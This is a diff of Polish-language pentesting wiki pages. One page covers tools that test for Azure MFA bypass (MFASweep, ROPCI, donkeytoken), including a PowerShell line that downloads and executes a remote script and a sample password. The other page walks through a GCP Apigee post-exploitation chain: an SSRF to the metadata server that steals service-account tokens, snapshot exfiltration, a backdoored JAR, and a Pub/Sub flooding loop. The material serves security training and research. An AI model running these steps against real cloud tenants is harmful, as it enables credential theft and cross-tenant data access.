MFASweep to skrypt PowerShell, który próbuje **zalogować się do różnych usług Microsoftu, używając podanego zestawu poświadczeń, i spróbuje zidentyfikować, czy MFA jest włączone**. W zależności od tego, jak skonfigurowane są zasady dostępu warunkowego i inne ustawienia uwierzytelniania wieloskładnikowego, niektóre protokoły mogą pozostać jako jednoskładnikowe. Posiada również dodatkowe sprawdzenie konfiguracji ADFS i może próbować zalogować się do lokalnego serwera ADFS, jeśli zostanie wykryty.
|
||||
MFASweep to skrypt PowerShell, który próbuje **zalogować się do różnych usług Microsoft przy użyciu podanego zestawu poświadczeń i zidentyfikować, czy MFA jest włączone**. W zależności od tego, jak skonfigurowane są conditional access policies i inne ustawienia multi-factor authentication, niektóre protokoły mogą pozostać jednoczynnikowe. Zawiera także dodatkowe sprawdzenie konfiguracji ADFS i może spróbować zalogować się do on-prem ADFS server, jeśli zostanie wykryty.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
To narzędzie pomogło zidentyfikować obejścia MFA, a następnie wykorzystać API w wielu produkcyjnych dzierżawach AAD, gdzie klienci AAD wierzyli, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC zakończyło się sukcesem.
|
||||
To narzędzie pomogło zidentyfikować obejścia MFA i następnie nadużyć API w wielu produkcyjnych tenantach AAD, gdzie klienci AAD sądzili, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC powiodło się.
|
||||
|
||||
> [!TIP]
|
||||
> Musisz mieć uprawnienia do wyświetlenia wszystkich aplikacji, aby móc wygenerować listę aplikacji do ataku brute-force.
|
||||
> Musisz mieć uprawnienia do wylistowania wszystkich aplikacji, aby móc wygenerować listę aplikacji do brute-force.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -143,29 +143,29 @@ To narzędzie pomogło zidentyfikować obejścia MFA, a następnie wykorzystać
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Donkey token to zestaw funkcji, które mają na celu pomoc konsultantom ds. bezpieczeństwa, którzy muszą weryfikować Polityki Dostępu Warunkowego, testy dla portali Microsoft z włączonym 2FA itp.
|
||||
Donkey token to zestaw funkcji mających na celu pomoc konsultantom ds. bezpieczeństwa, którzy muszą weryfikować Conditional Access Policies, testować portale Microsoft z włączonym 2FA itp..
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Testuj każdy portal**, czy możliwe jest **zalogowanie się bez MFA**:
|
||||
**Przetestuj każdy portal**, czy możliwe jest **zalogowanie się bez MFA**:
|
||||
```bash
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$username = "conditional-access-app-user@azure.hacktricks-training.com"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
Ponieważ **portal Azure** **nie jest ograniczony**, możliwe jest **zdobycie tokena z punktu końcowego portalu, aby uzyskać dostęp do dowolnej usługi wykrytej** podczas wcześniejszego wykonania. W tym przypadku zidentyfikowano Sharepoint, a token do uzyskania dostępu do niego jest żądany:
|
||||
Ponieważ **Azure** **portal** jest **nieograniczony**, możliwe jest **pozyskanie tokenu z endpointu portalu, aby uzyskać dostęp do dowolnej usługi wykrytej podczas poprzedniego wykonania**. W tym przypadku wykryto Sharepoint i żądany jest token umożliwiający dostęp do niego:
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
Zakładając, że token ma uprawnienia Sites.Read.All (z Sharepoint), nawet jeśli nie możesz uzyskać dostępu do Sharepoint z sieci z powodu MFA, możliwe jest użycie tokena do uzyskania dostępu do plików za pomocą wygenerowanego tokena:
|
||||
Zakładając, że token ma uprawnienie Sites.Read.All (z Sharepoint), nawet jeśli nie możesz uzyskać dostępu do Sharepoint z poziomu przeglądarki z powodu MFA, możliwe jest użycie tokena do uzyskania dostępu do plików za pomocą wygenerowanego tokena:
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
## Odniesienia
|
||||
## Źródła
|
||||
|
||||
- [https://www.youtube.com/watch?v=yOJ6yB9anZM\&t=296s](https://www.youtube.com/watch?v=yOJ6yB9anZM&t=296s)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# GCP - Apigee Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
|
||||
|
||||
Pojedynczy projekt tenant Apigee można wykorzystać, aby uzyskać dostęp do serwera metadanych Message Processor, ukraść jego service account i pivotować do współdzielonego potoku analitycznego Dataflow, który odczytuje/zapisuje cross-tenant buckets.
|
||||
|
||||
### Wystaw serwer metadanych przez Apigee
|
||||
|
||||
- Ustaw Apigee proxy target na `http://169.254.169.254` i żądaj tokenów z `/computeMetadata/v1/instance/service-accounts/default/token` z nagłówkiem `Metadata-Flavor: Google`.
|
||||
- GCP metadata odrzuca żądania zawierające `X-Forwarded-For`; Apigee dodaje je domyślnie. Usuń go za pomocą `AssignMessage` przed przekazaniem przez proxy:
|
||||
```xml
|
||||
<AssignMessage name="strip-xff">
|
||||
<Remove>
|
||||
<Headers>
|
||||
<Header name="X-Forwarded-For"/>
|
||||
</Headers>
|
||||
</Remove>
|
||||
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
|
||||
</AssignMessage>
|
||||
```
|
||||
### Enumeracja skradzionego konta serwisowego Apigee
|
||||
|
||||
- The leaked SA (zarządzane przez Google pod `gcp-sa-apigee`) można zenumerować narzędziami takimi jak [gcpwn](https://github.com/NetSPI/gcpwn), aby szybko przetestować uprawnienia.
|
||||
- Zaobserwowane potężne uprawnienia obejmowały **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, oraz **Pub/Sub topic publish**. Podstawowe rozpoznanie:
|
||||
```bash
|
||||
gcloud compute disks list --project <tenant-project>
|
||||
```
|
||||
### Snapshot exfiltration for opaque managed services
|
||||
|
||||
Z uprawnieniami do dysku/snapshot możesz zbadać managed runtimes offline, nawet jeśli nie możesz zalogować się do tenant project:
|
||||
|
||||
1. Utwórz snapshot docelowego dysku w tenant project.
|
||||
2. Skopiuj/przenieś snapshot do swojego projektu.
|
||||
3. Odtwórz dysk ze snapshotu i dołącz go do swojej VM.
|
||||
4. Zamontuj i przejrzyj logi/konfiguracje, aby odzyskać wewnętrzne nazwy bucketów, service accounts i opcje pipeline.
|
||||
|
||||
### Dataflow dependency replacement via writable staging bucket
|
||||
|
||||
- Analytics workers pobierały JARy z GCS staging bucket przy starcie. Ponieważ Apigee SA miało uprawnienie zapisu do bucketu, pobierz i zpatchuj JAR (np. z Recaf), aby wywołać `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` i ukraść **Dataflow worker** token.
|
||||
- Dataflow workers nie miały egressu do internetu; exfiltrate przez zapisanie tokenu do kontrolowanego przez atakującego GCS bucket przy użyciu in-cluster GCP APIs.
|
||||
|
||||
### Force malicious JAR execution by abusing autoscaling
|
||||
|
||||
Istniejące workers nie przeładują zastąpionych artefaktów. Zalej pipeline input, aby wywołać nowe workers:
|
||||
```bash
|
||||
for i in {1..5000}; do
|
||||
gcloud pubsub topics publish apigee-analytics-notifications \
|
||||
--message "flood-$i" --project <tenant-project>
|
||||
done
|
||||
```
|
||||
Nowo utworzone instancje pobierają załatane JARs i leak the Dataflow SA token.
|
||||
|
||||
### Błąd projektowy bucketu między tenantami
|
||||
|
||||
Zdekompilowany kod Dataflow pokazywał ścieżki cache takie jak `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` w ramach współdzielonego metadata bucketu, bez komponentu specyficznego dla konkretnego tenanta. Mając Dataflow token możesz read/write:
|
||||
|
||||
- `tenantToTenantGroup` caches ujawniające nazwy project+environment innych tenantów.
|
||||
- foldery `customFields` i `datastores` zawierające per-request analytics (w tym end-user IPs i plaintext access tokens) dla wszystkich tenantów.
|
||||
- Write access implies potential analytics tampering/poisoning.
|
||||
|
||||
## Referencje
|
||||
|
||||
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
|
||||
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user